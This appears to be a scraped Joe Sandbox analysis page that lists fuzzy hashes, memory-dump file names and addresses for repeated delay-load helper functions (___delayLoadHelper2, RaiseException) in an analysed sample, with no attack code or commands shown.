Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 99bb25c7193f92b099931bb7b834f6ff52f20afe45509f9668eaff9666b98380
Instruction ID: b69459e66f4a6257677e50a19651357fa5711a27435bb64a11a7ba3cca87c230
Opcode Fuzzy Hash: 99bb25c7193f92b099931bb7b834f6ff52f20afe45509f9668eaff9666b98380
Instruction Fuzzy Hash: 42B012E526C0C0AC320852071D42C3B019CC0C0F11B30417EF826C00C0FE40EE852432

Function 00BEE228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 073d3a07ded9107b3225c96e1fb99101ac4e9db242fd7d0f5a503204439ebe76
Instruction ID: 1bfe3636df12bd5a030ddb257e64c9ec3822c6ce2fcdd769b2a4f358479f361f
Opcode Fuzzy Hash: 073d3a07ded9107b3225c96e1fb99101ac4e9db242fd7d0f5a503204439ebe76
Instruction Fuzzy Hash: D5B012E526C1C0BC324852071C42C3B019CC0C0F12B30427EF826C00C0FA80ED841432

Function 00BEE21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba6297c648f5472b95cb53d575fee55d3b7474e6349f20b1257160a67745ccbe
Instruction ID: 4e6c73f8a26b71226ae1021d8c8b55c1a8d7200428b6413a5cef3168a19273bf
Opcode Fuzzy Hash: ba6297c648f5472b95cb53d575fee55d3b7474e6349f20b1257160a67745ccbe
Instruction Fuzzy Hash: 1AB012E526C0C0BC320852071C42C3B019CC0C1F11B30817EFC26C00C0FA40ED441432

Function 00BEE20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9cc559326b7b508d09401e1e925d8d8c99a79502d582985bd5ff6dd57fc3b303
Instruction ID: 0619d3b5fd67e00df623a803faa4da0873bdcbd7d78dbf8518966ec7df31a124
Opcode Fuzzy Hash: 9cc559326b7b508d09401e1e925d8d8c99a79502d582985bd5ff6dd57fc3b303
Instruction Fuzzy Hash: CAB012D526C0C0AC310853071D42C3B018CC0C0B11B30817EF825C01C0FE50ED8D2432

Function 00BEE200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 523dd2c820943d3f4c7511d96b2a796c15a6b9de5b853e6eef4e823cba29c223
Instruction ID: c55ab0efb1b4ea6ad3513010fbe87c4202d598e2ed4f3b2b2d400832b548684e
Opcode Fuzzy Hash: 523dd2c820943d3f4c7511d96b2a796c15a6b9de5b853e6eef4e823cba29c223
Instruction Fuzzy Hash: C3B012D536C1C0BC314853071C42C3B018CC0C0B12B30827EF825C01C0FA80EC881432

Function 00BEE26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 244a1ff3813eacda0a341b18dbd7c65bad4b078a4ae1a6a435302b3c88bf5bea
Instruction ID: bef668d9fac5f0f99bb3e377798417fd94ce8ab81bf118cd33f60446a313e5d1
Opcode Fuzzy Hash: 244a1ff3813eacda0a341b18dbd7c65bad4b078a4ae1a6a435302b3c88bf5bea
Instruction Fuzzy Hash: 33B012D526C0C0AC310852171C42C3B01DCC0C1B11B30817EFC25C00C0FB40EC441432

Function 00BEE264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 53f6450dd967ccb98dce4ea9f0086820fc839fc8b3c6d17011faa631df4782f3
Instruction ID: 14badadb2fd3d15554b6e9fc76d37f515f155481512cace81311f8d9a3e23a49
Opcode Fuzzy Hash: 53f6450dd967ccb98dce4ea9f0086820fc839fc8b3c6d17011faa631df4782f3
Instruction Fuzzy Hash: 10B012D527D0C0AC310852071C42C3B01CDC4C0B21F30417EF826C40C0FA40EC441432

Function 00BEE250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8d7486c7bbd9d9f37b19420c38e357f3c68fee945c0138dd2664e9eac29698cf
Instruction ID: 11d7a00adc135997a59bd6a9ff345cf77f83811460d13aecf9e7d6d955a08972
Opcode Fuzzy Hash: 8d7486c7bbd9d9f37b19420c38e357f3c68fee945c0138dd2664e9eac29698cf
Instruction Fuzzy Hash: F6B012E526D1C0BC314853071C42C3B018DC0C0B22F30427EF825C40C0FA80EC881432

Function 00BEE246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 305d2553e004cac6e785b222bd56d276d478eaa3fac44a75e9535ce3dd1cdc0c
Instruction ID: fd64ecfeb950a7ee13493b00b18842824f4f77a2f0e1e4622890f2ab35d29a95
Opcode Fuzzy Hash: 305d2553e004cac6e785b222bd56d276d478eaa3fac44a75e9535ce3dd1cdc0c
Instruction Fuzzy Hash: 19B012D536D0C0AC310852071C42C3B018DC0C1B21F30817EFC25C40C0FA40EC441432

Function 00BEE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE3FC

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a03891ac1f4524b071432d79cee05fc8e7ebd3d72f894ee1cc251f2537a77ff4
Instruction ID: 37c0d1392734ed19fae858e3be3d4a83950712ff9de12481f20485c80b0ef530
Opcode Fuzzy Hash: a03891ac1f4524b071432d79cee05fc8e7ebd3d72f894ee1cc251f2537a77ff4
Instruction Fuzzy Hash: D2B012F12680C0BC731892061C42C37028CC0C0F10B30827EF824C50C0EA40CE045833

Function 00BEE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE3FC

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3b1750aa7f93ac272ef71b6575db545d3300f33fd9f2fc8fb93afbe16cdcb861
Instruction ID: e446ff59030852611c5c7e8cd8b3b9c5e9fd28d6a66fa785f0684aa82669b852
Opcode Fuzzy Hash: 3b1750aa7f93ac272ef71b6575db545d3300f33fd9f2fc8fb93afbe16cdcb861
Instruction Fuzzy Hash: F7B012E126C0C07C721852071D42C77028CC0C0B10B30C27EF524C50C0EB418C4D5433

Function 00BEE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE3FC

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 135a5ebd10394bc00d6f017f8e5eda6020d68b921c99b5b62f11a01f27030d83
Instruction ID: 87529eb463eda3a80769eb8978629411bd95e5d85aee849b680979252a7a1499
Opcode Fuzzy Hash: 135a5ebd10394bc00d6f017f8e5eda6020d68b921c99b5b62f11a01f27030d83
Instruction Fuzzy Hash: 61B012E126C0C0BC721892061C42C37028CC0C0B10B30C27EF824C50C0EB40CC0C5433

Function 00BEE5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 54a60f14a438feb20431c8bc3c730978ed1ce08d382ebfa45302903a4cfc60f5
Instruction ID: 4115c6f918707714ceb22807fd7b2bd8b8cb0a3f02f7d64571dba422dfa0ab13
Opcode Fuzzy Hash: 54a60f14a438feb20431c8bc3c730978ed1ce08d382ebfa45302903a4cfc60f5
Instruction Fuzzy Hash: A7B012C12681C07C714453565C87C3B01ECC0C0B11F30437EF424C10C0FA808C480431

Function 00BEE5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c49d47b58d6d5bd2b335caf662d6fcd822776ded7758601ce57b1483f37d99a
Instruction ID: 0b3ce561de9136a4c71d86f2061f7c617a1119c14cb26a778f662bce0f214785
Opcode Fuzzy Hash: 5c49d47b58d6d5bd2b335caf662d6fcd822776ded7758601ce57b1483f37d99a
Instruction Fuzzy Hash: 20B012C12680C07C710453565D86C3B01ECC0C0B10F30437EF424C10C0FE418D491431

Function 00BEE593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ab12f49cf4cff9d2e665049ce349f010704aac0550869083e3e6e39613809327
Instruction ID: 14a66f308520ee849db0ff2bd2e8ce2d21fcc11d734d01f58aab8064a8e893d0
Opcode Fuzzy Hash: ab12f49cf4cff9d2e665049ce349f010704aac0550869083e3e6e39613809327
Instruction Fuzzy Hash: D9B012C12681C07D710453561C82C3B01DCC0C0B10F30437EF824C50C0FA408C080431

Function 00BEE532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d41204b87f0da638637de022b0368b136c83fd17825ddbaa6da76cb4376dd2b6
Instruction ID: 709ef50274e6aa4d38ae8d16fd76072fd6f69bd21ad2661da2d2a4dbe1bdc66f
Opcode Fuzzy Hash: d41204b87f0da638637de022b0368b136c83fd17825ddbaa6da76cb4376dd2b6
Instruction Fuzzy Hash: 56B012C12685C0BD7108520A1D52D3B01CCC4C1F10F30417EF824C40C0FE408C040431

Function 00BEE528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

